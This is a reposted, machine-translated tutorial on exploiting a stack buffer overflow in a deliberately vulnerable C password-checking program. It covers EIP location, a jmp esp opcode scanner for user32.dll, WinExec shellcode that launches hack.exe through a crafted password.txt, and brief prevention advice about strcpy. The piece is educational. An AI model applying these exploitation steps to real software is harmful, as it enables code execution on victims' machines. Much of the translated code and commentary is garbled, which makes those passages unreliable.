Anti-virus attack and defense: Exploitation of simple program vulnerabilities

Source: Internet
Author: User

Anti-virus attack and defense: Exploitation of simple program vulnerabilities
I. Preface
All the "viruses" mentioned in the previous article are executable files (in the EXE format) and are malicious programs in the traditional sense. They start to execute their own code after being double-clicked and run by users, implement relevant functions to threaten users' computers. This time, I plan to discuss a special situation, that is, to use the vulnerabilities in normal programs to enable the dialog box only through text documents (TXT format. Therefore, the focus of this Article is on simple vulnerability discovery and the use of ShellCode for vulnerability exploitation. We will not discuss complex situations here. We will just use simple examples to illustrate these problems, because even complex situations in reality have similar basic principles. This also lays the foundation for further discussions on more complex situations.


2. Compile programs containing Vulnerabilities
In today's software development, although programmers are improving their skills and programming skills are constantly improving, most people still have vague concepts about computer security, there are still a few people who really master computer security technologies. In particular, computer security often involves the underlying principle of the system, compilation, and even machine code, which is even more daunting. I will discuss a program with a vulnerability that contains a buffer overflow vulnerability. The buffer overflow attack is a very effective and common attack method. Among the many vulnerabilities found, it accounts for most of them.
The procedures for this study are as follows:

# Include <stdio. h> # include <string. h> # include <windows. h> # define PASSWORD "1234567890" int CheckPassword (char * pPassword) {int nCheckFlag; char szBuffer [30]; nCheckFlag = strcmp (pPassword, PASSWORD); strcpy (szBuffer, pPassword); // return nCheckFlag;} int main () {int nFlag = 0; char szPassword [1024]; FILE * fp; LoadLibrary ("user32.dll "); if (! (Fp = fopen ("password.txt", "rw +") {return 0;} fscanf (fp, "% s", szPassword); nFlag = CheckPassword (szPassword ); if (nFlag) {printf ("Incorrect password! \ N ");} else {printf (" Correct password! \ N ") ;}fclose (fp); getchar (); return 0 ;}

Here we will explain the program running process. The contents read from the keystore file are compared with the string "1234567890" to verify that the password is correct. Then, copy the password entered by the user to the array created by the sub-function, return to the main function, and display the user's entered password correctly.

In this program, the TXT file is used to save the password entered by the user for further discussion and observation. In the subfunction, copying the password entered by the user to an array is only to create a buffer overflow vulnerability and to facilitate subsequent discussions. In reality, such a situation may be difficult. However, the principle is the same. The buffer overflow vulnerability occurs because it fails to detect the size of the data to be copied and directly copies the data to another buffer zone, this gives malicious programs the opportunity to attack.

 

Iii. Analysis of vulnerability principles

Whether it is the simplest buffer overflow vulnerability discussed in this article, or the complicated vulnerability, heap overflow and SEH exploitation may be discussed in future articles, its core is to use pointers (or corresponding addresses) to make a fuss. For this program, we first need to briefly explain the program execution principle from the perspective of disassembly.

The CheckPassword function is called in the main function. In disassembly, you need to find the location where the function is called. This is simple:


004010F3    E8 0DFFFFFF    call  00401005  

The reason why the function can be quickly determined is that it is behind the fscanf function in the source program, so in the disassembly, its position is also behind the fscanf. It is necessary to briefly describe the call implementation principle. It is divided into two steps. The first step is to push the current instruction location to the stack in the memory, that is, to save the return address (the address saved by the EIP, that is, the next instruction of the call, the second step is to jump to the entrance of the called function. Go to this call and go to the following disassembly code:

00401020    55               push  ebp   00401021    8BEC             mov   ebp,esp  00401023    83EC 64          sub   esp,64  

It can be said that at the beginning of each function, the disassembly result is such a few words. There are three main steps: the first step is to save the current stack frame status value for later use to restore the current stack frame (EBP into the stack ); step 2: Switch the current stack frame to the new stack (load the ESP value into EBP and update the bottom of the stack frame); Step 3: Allocate space for the new stack frame (subtract the size of the space required by the ESP, raise the stack frame ).

It should be noted that the above analysis is the Debug version of the program. If it is the Release version, the optimization may be somewhat different, but it also follows the basic principle, the Release version will not be discussed here.

Now let's take a look at the situation in the stack. According to the descending order of the memory address, EBP is located at the lower address of the memory than EIP. These two registers are located in the stack. Let's take a look at the disassembly code at the end of the CheckPassword function:

0040106C    8BE5           mov   esp,ebp   0040106E    5D             pop   ebp  0040106F    C3             retn  

It can be seen that esp is directed to the stack bottom of the current stack frame, and then the original ebp value is popped up from the stack, so that the stack frame Restoration Operation is realized. The subsequent retn statement is to bring up the value (EIP) at the top of the stack again, and execute the statement pointed to by the EIP, that is, the next statement of the previous call.

After analysis, we can find that we can jump to our own "virus code" Address by modifying the value saved by the EIP (command address. Of course, I will not use the recompilation tool to modify it, but directly use the text document password.txt.

 

4. Locating EIP

Knowing how the vulnerability is exploited, You need to determine the location of the EIP. Although the EIP location can be obtained through the Disassembly tool, I do not want to use this simple method here, but use the Windows error dialog box to locate the EIP. When an EIP is overwritten as an Invalid Address, the system will prompt an error. The error dialog box will show which address (EIP) has an error. Here, you can use some tips to locate the error.

Of course, each person often has his/her own best Positioning method. My personal favorite method is to use 26 lower-case letters and 26 upper-case letters to form a long string of data for testing, in this way, the length of 52 bytes can be tested at one time. Specifically, the 52th member is written into the password.txt file. Run the program to check whether an error is reported. If no error is reported, write 52 letters until an error is reported. Fortunately, in this program, the first 52 letters bring up the error dialog box:

Figure 1 locate an EIP in the error dialog box

Between 41st and 44th bytes.

Determine the location of the EIP, then determine the address to which it should be assigned. Here, of course, we can use the disassembly software to find free places in the program, write the code, and then point the EIP to the code. But here I plan to use a more clever method-jmp esp. We can direct the EIP to the jmp esp address in the memory, and then overwrite the machine code (ShellCode) of our program from the EIP down (high address, in this way, jmp esp can be directly executed in our code.

First, compile the program to find jmp esp:


#include <windows.h>   #include <stdio.h>  #include <stdlib.h>   #define DLL_NAME "user32.dll"     int main()  {           BYTE *ptr;          int position,address;           HINSTANCE handle;          BOOL done_flag = FALSE;           handle = LoadLibrary(DLL_NAME);          if(!handle)           {                  printf("load dll error!");                   exit(0);          }           ptr = (BYTE*)handle;             for(position = 0; !done_flag; position++)          {                   try                  {                           if(ptr[position]==0xFF && ptr[position+1]==0xE4)                          {                                   int address = (int)ptr + position;                                  printf("OPCODE found at 0x%x\n", address);                           }                  }                   catch(...)                  {                           int address = (int)ptr + position;                          printf("END OF 0x%x\n", address);                           done_flag = true;                  }           }          return 0;   }  

The program execution result is as follows:

Figure 2 jmp esp search

In the above program, the machine code FFE4 of jmp esp is searched in user32.dll, and many results are found. You can select one of them. Note that the addresses of jmp esp may be different for different computer versions, that is, the addresses of jmp esp are not common. Of course, there will also be several cross-version addresses, which will not be discussed here. The first address in this selection -- 0x77d93ac8. Because it is a small-end display, it should be written in reverse direction at the position of "OPQR", that is, c83ad977. Of course, you cannot directly use software such as Notepad for editing, but you need to use a hexadecimal code editor.

 

5. Compile ShellCode

. To enable the virus, I don't plan to directly convert the virus program into ShellCode. After all, that would be too heavy, but write a ShellCode that can start the virus program. Here I use the WinExec function to start a virus, and then use the ExitProcess function to exit the program normally. The code for querying the two function handles is as follows:

# Include <windows. h> # include <stdio. h> typedef void (* MYPROC) (LPTSTR); int main () {HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary ("kernel32 "); // obtain the user32.dll address printf ("msvcrt LibHandle = // x % x \ n", LibHandle); // obtain the MessageBoxA address ProcAdd = (MYPROC) GetProcAddress (LibHandle, "WinExec"); printf ("system = // x % x \ n", ProcAdd); return 0 ;}

The running result is as follows:

 

Figure 3 obtain the WinExec handle

The above program first needs to know the dynamic link library where the function to be queried is located, first finds the address of the dynamic link library, and then uses this address to query the handle of the corresponding API function. The handle of WinExec is 0x7c863231. Similarly, the handle of the ExitProcess function is 0x7c81bfa2.

So far, we have obtained enough information, and we can write the ShellCode later. But in general, we do not specifically remember the hexadecimal machine code, so we write the assembler first, then, use the corresponding software to view the machine code through the conversion. There are many specific methods. I prefer to write in the form of Embedded Assembly Language in VC ++ 6.0:
_ Asm {xor ebx, ebx push 0x6578652e push 0x6b636148 mov eax, esp pull into volume hack.exe push ebx push eax mov eax, 0x7c863231 call eax; call WinExec function push ebx mov eax, 0x7c81bfa2 call eax; call the ExitProcess function}

Here, we need to convert the content in asm into machine code. VC ++ 6.0 can be implemented (or other disassembly software can be used ). Use the hexadecimal file editor to directly write the extracted machine code to the end of the EIP in password.txt. As shown in:

Figure 4 Write shellcodeinto password.txt

It should be noted that, although the above is just a very simple function called, in fact, no matter what function, its calling principle is the same as above, you must first import the parameter from right to left into the stack, and then call the address of the function. To enhance portability, you can use TEB to obtain the relevant function handle and write highly universal ShellCode (these advanced methods may be discussed in future articles ). It can be seen that vulnerabilities can be easily exploited by malicious programs.

After editing password.txt, run the checkpassword.exe program. The result is as follows:

Figure 5 program running

After modification, password.txt can be used to start the virus without knowing it (although this process has many restrictions ). The WinExec function used here is also used by the "downloader". It is a malicious program with a single function, attackers can download and run more malicious programs from the URLs specified by hackers. The downloader is small and easy to spread. When it is downloaded to a virus Trojan, it usually uses functions such as WinExec to run viruses.

 

Vi. Prevention of Viruses

Discovering and exploiting vulnerabilities is a deep topic. In reality, it is much more difficult to discover vulnerabilities than I have mentioned here. Clever Hackers often have vulnerabilities that are not known by software manufacturers. They can exploit these vulnerabilities to do whatever they want. Therefore, this requires us to cultivate good security coding habits. In the above example, the vulnerability occurs because the strcpy function is used. More specifically, because we have not tested the length of the data to be copied to the buffer, the EIP is illegally overwritten, skip the wrong location and execute the code that should not be executed. Vulnerabilities in reality are often the same. Therefore, in this case, we should check the Data Length in advance, at least replace strcpy with strncpy. Although the latter is also dangerous, it will copy the data at least according to the size of the data required by the programmer, this is much safer. Of course, our system versions are constantly upgraded, and we will continue to improve security. For example, the added Security Cookie can better prevent Buffer Overflow. However, this is not absolutely safe. After all, in the unity of confrontation between attack and defense, technology is constantly improving. However, in the final analysis, hackers will not be able to get started only by making full efforts at the source.

 

VII. Summary

This article constructs a special environment-a program with vulnerabilities-to enable "virus. Because the knowledge system on vulnerabilities is large and advanced, I can only use this simple program to show you the tip of the iceberg. The principle and utilization of vulnerabilities in reality are similar to those in this example. In reality, we may need to compile a more general ShellCode to implement the functions we want to accomplish. These will be discussed in future articles. This article is only intended to lay a good foundation and prepare for the exploration of more advanced knowledge in the future.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.